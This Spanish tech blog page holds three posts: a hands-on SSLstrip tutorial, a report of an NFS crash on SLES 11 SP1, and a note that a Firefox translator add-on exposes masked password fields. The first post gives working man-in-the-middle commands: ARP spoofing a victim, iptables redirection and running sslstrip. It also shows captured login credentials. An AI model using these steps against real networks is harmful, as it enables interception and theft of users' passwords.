Destripando conexiones HTTPS

HTTPS se considera uno de los protocolos de envío de información por web más seguros, sin embargo y como se suele decir, no es oro todo lo que reluce. En este post voy a presentar una herramienta, SSLstrip, que permite justamente hacer eso, destripar una conexión HTTPS y conseguir ver el contenido transmitido en texto plano.
SSLstrip permite sniffar usuarios y contraseñas transmitidas por HTTPS de forma sencilla. Para realizar el ataque se usará la técnica man-in-the-middle (MITM). Haremos que todo el tráfico pase por un equipo intermedio, que se encargará de pasar todas las contraseñas a texto plano. Hay que decir que este tipo de ataques son efectivos únicamente en ataques MITM. Para realizarlo, desde nuestro equipo, podemos seguir estos sencillos pasos.
  1. Descargamos la última versión de SSLstrip
    shell> wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
    
  2. Descomprimimos y vamos a la carpeta
    shell> tar zxvf sslstrip-0.9.tar.gz
    shell> cd sslstrip-0.9/
    
  3. Activamos el IP forwarding de nuestra máquina, para un MITM
    shell> echo "1" > /proc/sys/net/ipv4/ip_forward
    
  4. Hacemos de nuestra máquina el router de salida a la red
    shell> arpspoof -i eth0 -t 192.168.1.33 192.168.1.1
    
  5. Redireccionamos los puertos necesarios
    shell> iptables -t nat -A PREROUTING \
          -p tcp --destination-port 80 \
          -j REDIRECT --to-ports 10000
    
  6. Ejecutamos SSLstrip
    shell> ./sslstrip.py -w captura.cap
    
  7. Observamos lo que va capturando
    shell> tail -f captura.cap
    2010-09-28 01:35:046,739 SECURE POST Data (www.google.com):
    ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fm ail.google.com%2Fmail%2F%3F&service=mail&rm=false& dsh=6669774865561864179&ltmpl=default&ltmpl=defaul t&scc=1&timeStmp=&secTok=&GALX=dPSLG5jykg8&Email=user_prueba&Passwd=mi_passwd&rmShown=1&signIn=Acceder&asts=
    
Leer más

NFS SLES 11 SP-1 crash

Aunque habitualmente uso sistemas basados en Debian, en ciertos equipos del trabajo administro sistemas Suse y Red Hat. No tengo nada en contra de ellas y es más, suelen funcionar muy bien, las pocas cosas que les permiten hacer, las hacen bien y no suelen dar fallos.
El otro día estaba trabajando con una SLES 11 SP1 y necesitaba montar un servidor de ficheros (NFS) para compartir unos datos entre equipos. Como es lógico, empleé YAST e instalé el servicio. Una vez configurado y arrancado todo perfecto, pero desde los clientes era imposible acceder. En los log's del servidor se veía que arrancaba el servico correctamente y al configuración también era correcta, pero al acceder desde el cliente aparecían estas líneas sospechosas en los log's.
nfsd: last server has exited, flushing export cache
NFSD: Using /var/lib/nfs/v4recovery as the NFSv4 state recovery directory
NFSD: starting 90-second grace period
rpc.mountd[3842]: segfault at fffffffe80000017 ip 00007fa393b60ee8 sp 00007fff9bb6d370 error 4 in rpc.mountd[7fa393b5b000+16000]
segfault en un log, es la típica palabra que no presagia nada bueno. Y así fue.
Probé a montar el recurso desde otro equipo y volvía a pasar exactamente lo mismo y por lo que parece, todo apunta a un fallo en el servidor NFS de SLES 11 SP1.
La solución fue realizar un downgrade de dicho servicio a SLES 11 y ya todo funcionó perfectamente. Por suerte, la configuración de los servidores NFS no es nada compleja y este cambio no afectó ni llevó excesivo tiempo.
Se reportará el fallo a Novell para que intenten solucionarlo. El servidor empleaba SLES 11 SP1 x86_64. No probé para la plataforma i386.
Leer más

Acceso a campos protegidos en Firefox

El otro día Fernando, un compañero de trabajo, me habló de un addon para Firefox llamado WordReference Translator y también de sus peculiaridades. La descripción del plugin lo deja bien claro:
Abre una pestaña con la traducción de WordReference para la palabra seleccionada. Mediante un enlace flotante o pulsando la tecla "D".
Hasta aquí todo correcto, un plugin para Firefox que permite traducir palabras. Como todo buen plugin de traducción, traduce la selección. Hasta aquí todo normal pero, ¿qué pasaría si intentas traducir un campo de contraseña (por defecto oculta). Lo probamos.
Firefox oculta los datos, por lo que se supone que no es posible saberlos. De ahí que muchos de los programas que se encargan de averiguar las contraseñas detecten lo que tecleas y no lo lean directamente del Firefox. La sorpresa, la contraseña (mipasswd) se traduce! El addon es capaz de obtener la contraseña del campo protegido de Firefox, por lo que realmente no está tan protegido.

Probé el plugin en varias versiones de Firefox y también de Iceweasel y también con varios portales que permiten inicio de sesión. El resultado en todos se podía acceder. Este es, a priori un gran fallo de Firefox por dejar acceder a addons externos a información del campo de las contraseñas.

Actualización:
Después de algunos comentarios, simplemente aclarar que este addon no accede al anillo de claves, sino al campo de tipo passwd. Ahí el núcleo de Firefox efectivamente debería saber lo que hay, para hacer el POST o GET correctamente, pero un addon en ningún caso debería poder acceder.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios